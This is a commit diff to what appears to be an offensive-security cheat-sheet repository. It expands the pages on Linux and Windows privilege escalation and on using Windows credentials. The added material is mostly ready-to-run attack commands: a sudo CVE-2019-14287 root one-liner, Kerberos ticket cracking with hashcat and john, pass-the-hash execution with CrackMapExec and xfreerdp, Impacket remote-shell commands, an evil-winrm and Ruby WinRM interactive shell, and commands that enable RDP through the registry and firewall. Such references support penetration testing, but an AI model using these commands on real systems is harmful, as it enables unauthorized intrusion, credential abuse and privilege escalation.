SUDO CVE + Windows Drivers PrivEsc

Methodology and Resources/Active Directory Attack.md

@@ -767,8 +767,8 @@ Alternatively on macOS machine you can use [bifrost](https://github.com/its-a-fe
 Then crack the ticket with hashcat or john
 
 ```powershell
-hashcat -m 13100 -a 0 hash.txt crackstation.txt
+./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
-./john ~/hash.txt --wordlist=rockyou.lst
+./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
 ```
 
 Mitigations: 

Methodology and Resources/Linux - Privilege Escalation.md

@@ -28,6 +28,7 @@
     * [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd)
     * [Doas](#doas)
     * [sudo_inject](#sudo-inject)
+    * [CVE-2019-14287](#cve-2019-14287)
 * [GTFOBins](#gtfobins)
 * [Wildcard](#wildcard)
 * [Writable files](#writable-files)
@@ -389,6 +390,7 @@ uid=0(root) gid=1000(swissky)
 | CAP_NET_BIND_SERVICE  | SERVICE Bind a socket to internet domain privileged ports  |
 
 ## SUDO
+
 Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
 
 ### NOPASSWD
@@ -459,6 +461,17 @@ uid=0(root) gid=0(root) groups=0(root)
 
 Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
 
+
+### CVE-2019-14287
+
+```powershell
+# Exploitable when a user have the following permissions (sudo -l)
+(ALL, !root) ALL
+
+# If you have a full TTY, you can exploit it like this
+sudo -u#-1 /bin/bash
+```
+
 ## GTFOBins
 
 [GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

Methodology and Resources/Windows - Privilege Escalation.md

@@ -28,6 +28,7 @@
 * [EoP - Kernel Exploitation](#eop---kernel-exploitation)
 * [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
 * [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
+* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
 * [EoP - Runas](#eop---runas)
 * [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
 * [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
@@ -68,6 +69,11 @@
 - [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
 - [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
 - [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
+    ```powershell
+    Seatbelt.exe -group=all -full
+    Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
+    Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
+    ```
 - [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
 - [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
     ```powershell
@@ -738,6 +744,26 @@ Application running as SYSTEM allowing an user to spawn a CMD, or browse directo
 
 Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
 
+## EoP - Evaluating Vulnerable Drivers
+Look for vuln drivers loaded, we often don't spend enough time looking at this:
+
+```powershell
+PS C:\Users\Swissky> driverquery.exe /fo table
+
+Module Name  Display Name           Driver Type   Link Date
+============ ====================== ============= ======================
+1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
+3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
+ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
+AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
+acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
+acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
+AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
+acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
+ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
+<SNIP>
+```
+
 ## EoP - Runas
 
 Use the `cmdkey` to list the stored credentials on the machine.

Methodology and Resources/Windows - Using credentials.md

@@ -14,7 +14,7 @@
 * [Crackmapexec](#crackmapexec)
 * [Winexe](#winexe)
 * [WMI](#wmi)
-* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py)
+* [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy)
 * [PsExec - Sysinternal](#psexec-sysinternal)
 * [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
 * [Netuse](#netuse)
@@ -93,56 +93,96 @@ shell
 
 ## Crackmapexec
 
-```python
+```powershell
-git clone https://github.com/byt3bl33d3r/CrackMapExec.github
+root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
-python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password
+root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
-python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami
+root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
-# pass the hash
+root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
-cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
+root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
+root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
 ```
 
 ## Remote Code Execution with PS Credentials
 
 ```powershell
-$SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
+PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
-$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
+PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
-Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
+PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
 ```
 
 ## WinRM
 
+Require:
+* Port **5985** or **5986** open.
+* Default endpoint is **/wsman**
+
 ```powershell
 root@payload$ git clone https://github.com/Hackplayers/evil-winrm
 root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
 root@payload$ evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
 ```
 
+or using a custom ruby code to interact with the WinRM service.
+
+```ruby
+require 'winrm'
+
+conn = WinRM::Connection.new( 
+  endpoint: 'http://ip:5985/wsman',
+  user: 'domain/user',
+  password: 'password',
+)
+
+command=""
+conn.shell(:powershell) do |shell|
+    until command == "exit\n" do
+        print "PS > "
+        command = gets        
+        output = shell.run(command) do |stdout, stderr|
+            STDOUT.print stdout
+            STDERR.print stderr
+        end
+    end    
+    puts "Exiting with code #{output.exitcode}"
+end
+```
+
 ## Winexe 
 
 Integrated to Kali
 
-```python
+```powershell
-winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
+root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
 ```
 
 ## WMI
 
 ```powershell
-wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
+PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
 ```
 
 ## Psexec.py / Smbexec.py / Wmiexec.py 
 
 from Impacket
 
-```python
+```powershell
-git clone https://github.com/CoreSecurity/impacket.git
+root@payload$ git clone https://github.com/CoreSecurity/impacket.git
-python psexec.py DOMAIN/username:password@10.10.10.10
-python smbexec.py DOMAIN/username:password@10.10.10.10
-python wmiexec.py DOMAIN/username:password@10.10.10.10
 
-# psexec.exe -s cmd
+# PSEXEC like functionality example using RemComSv
-# switch admin user to NT Authority/System
+root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
+# this will drop a binary on the disk = noisy
+
+# A similar approach to PSEXEC w/o using RemComSvc
+root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10
+
+# A semi-interactive shell, used through Windows Management Instrumentation. 
+root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
+
+# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. 
+root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10
+
+# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
+root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
 ```
 
 ## PsExec - Sysinternal
@@ -150,8 +190,10 @@ python wmiexec.py DOMAIN/username:password@10.10.10.10
 from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
 
 ```powershell
-PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
+PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
-PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s  # get System shell
+
+# switch admin user to NT Authority/System
+PS C:\> PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s 
 ```
 
 ## RDP Remote Desktop Protocol 
@@ -159,14 +201,14 @@ PsExec.exe  \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s  # get
 Abuse RDP protocol to execute commands remotely with [SharpRDP](https://github.com/0xthirteen/SharpRDP)
 
 ```powershell
-SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
+PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
 ```
 
 Or connect remotely with `rdesktop`
 
 ```powershell
-rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
+root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
-rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
+root@payload$ rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
 # -g : the screen will take up 70% of your actual screen size
 # -r disk:share : sharing a local folder during a remote desktop session 
 ```
@@ -174,35 +216,35 @@ rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10
 Note: you may need to enable it with the following command
 
 ```powershell
-reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
+PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
-netsh firewall set service remoteadmin enable
+PS C:\> netsh firewall set service remoteadmin enable
-netsh firewall set service remotedesktop enable
+PS C:\> netsh firewall set service remotedesktop enable
 ```
 
 or with psexec(sysinternals)
 
 ```powershell
-psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
+PS C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
 ```
 
 or with crackmapexec
 
 ```powershell
-crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
+root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
 ```
 
 or with Metasploit
 
 ```powershell
-run getgui -u admin -p 1234
+root@payload$ run getgui -u admin -p 1234
 ```
 
 or with xfreerdp 
 
 ```powershell
-xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
+root@payload$ xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
-xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
+root@payload$ xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
-xfreerd /u:runner /v:10.0.0.1 # password will be asked
+root@payload$ xfreerd /u:runner /v:10.0.0.1 # password will be asked
 ```
 
 ## Netuse 
@@ -210,15 +252,14 @@ xfreerd /u:runner /v:10.0.0.1 # password will be asked
 Windows only
 
 ```powershell
-net use \\ordws01.cscou.lab /user:DOMAIN\username password
+PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
-C$
 ```
 
 ## Runas 
 
 ```powershell
-runas /netonly /user:DOMAIN\username "cmd.exe"
+PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
-runas /noprofil /netonly /user:DOMAIN\username cmd.exe
+PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
 ```
 
 ## References